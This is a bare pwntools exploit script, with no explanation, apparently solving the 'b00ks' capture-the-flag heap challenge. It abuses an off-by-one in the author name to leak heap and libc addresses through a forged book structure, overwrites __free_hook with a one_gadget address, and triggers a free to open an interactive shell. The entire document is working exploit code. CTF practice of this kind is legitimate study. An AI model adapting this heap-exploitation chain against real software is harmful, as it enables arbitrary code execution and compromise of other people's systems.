1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import *
def send_author_name(author): p.recvuntil(b'Enter author name: ') p.sendline(author)
def create(name_size, name, description_size, description): p.recvuntil(b'> ') p.sendline(b'1') p.recvuntil(b'Enter book name size: ') p.sendline(str(name_size)) p.recvuntil(b'Enter book name (Max 32 chars): ') p.sendline(name) p.recvuntil(b'Enter book description size: ') p.sendline(str(description_size)) p.recvuntil(b'Enter book description: ') p.sendline(description)
def delete(idx): p.recvuntil(b'> ') p.sendline(b'2') p.recvuntil(b'Enter the book id you want to delete: ') p.sendline(str(idx))
def edit(idx, description): p.recvuntil(b'> ') p.sendline(b'3') p.recvuntil(b'Enter the book id you want to edit: ') p.sendline(str(idx)) p.recvuntil(b'Enter new book description: ') p.sendline(description)
def show(): p.recvuntil(b'> ') p.sendline(b'4')
def change_author_name(author): p.recvuntil(b'> ') p.sendline(b'5') send_author_name(author)
def exit(): p.recvuntil(b'> ') p.sendline(b'6')
context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h']
p = process('./b00ks') elf = ELF('./b00ks') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
send_author_name(b'a' * 0x20) create(0x10, b'b', 0x100, b'b') create(0x10, b'a', 0x500, b'a') delete(2) show() p.recvuntil(b'Author: ') heap_addr = u64(p.recvline()[0x20:-1] + b'\x00' * 0x2)
edit(1, b'\x00' * (0x100 - 0x40) + p64(0x1) + b'\x00' * 0x8 + p64(heap_addr + 0x50) + p64(0x10000)) change_author_name(b'a' * 0x20) print(hex(heap_addr)) show() p.recvuntil(b'Description: ') main_arena = u64(p.recvline()[:-1] + b'\x00' * 0x2) libc_base = main_arena - 0x3c4b78 print(hex(libc_base))
create(0x10, b'a' * 0x8, 0x500, b'a') free_hook = libc_base + libc.symbols['__free_hook'] one_gadget = libc_base + 0x4527a
payload1 = b'\x00' * (0x500 + 0x8) + p64(0x21) + p64(0x3) + p64(heap_addr + 0x30) + p64(free_hook) edit(1, payload1) edit(3, p64(one_gadget))
delete(1)
p.interactive()
|